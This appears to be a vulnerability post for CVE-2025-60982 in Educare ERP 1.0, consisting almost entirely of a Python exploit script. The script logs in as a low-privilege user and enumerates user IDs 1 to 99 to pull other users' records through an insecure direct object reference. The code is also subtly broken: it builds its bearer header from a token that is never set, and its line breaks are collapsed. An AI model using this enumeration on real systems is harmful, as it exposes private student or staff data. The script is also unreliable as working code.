CVE-2025-60982: Educare ERP 1.0 IDOR漏洞导致未授权访问

import requests import json # CVE-2025-60982 IDOR PoC for Educare ERP 1.0 # Target: Educare ERP 1.0 (2025-04-22) # Vulnerability: Insecure Direct Object Reference TARGET_URL = "http://target-educare-erp.com" LOGIN_ENDPOINT = "/api/auth/login" VULNERABLE_ENDPOINT = "/api/users/{user_id}/records" def login(username, password): """Authenticate and get session token""" session = requests.Session() login_data = { "username": username, "password": password } response = session.post(f"{TARGET_URL}{LOGIN_ENDPOINT}", json=login_data) if response.status_code == 200: return session, response.json().get("token") return None, None def exploit_idor(session, target_user_id): """Exploit IDOR by manipulating object reference""" # Modify the user_id parameter to access other users' data headers = {"Authorization": f"Bearer {session.headers.get('X-Auth-Token')}"} target_url = f"{TARGET_URL}/api/users/{target_user_id}/records" response = session.get(target_url, headers=headers) if response.status_code == 200: return response.json() return None def main(): # Step 1: Login with low-privilege account session, token = login("[email protected]", "password123") if not session: print("[-] Authentication failed") return print("[+] Authentication successful") # Step 2: Enumerate and access other users' data via IDOR for user_id in range(1, 100): print(f"[*] Attempting to access user ID: {user_id}") data = exploit_idor(session, user_id) if data: print(f"[+] Successfully accessed user {user_id} data:") print(json.dumps(data, indent=2)) if __name__ == "__main__": main()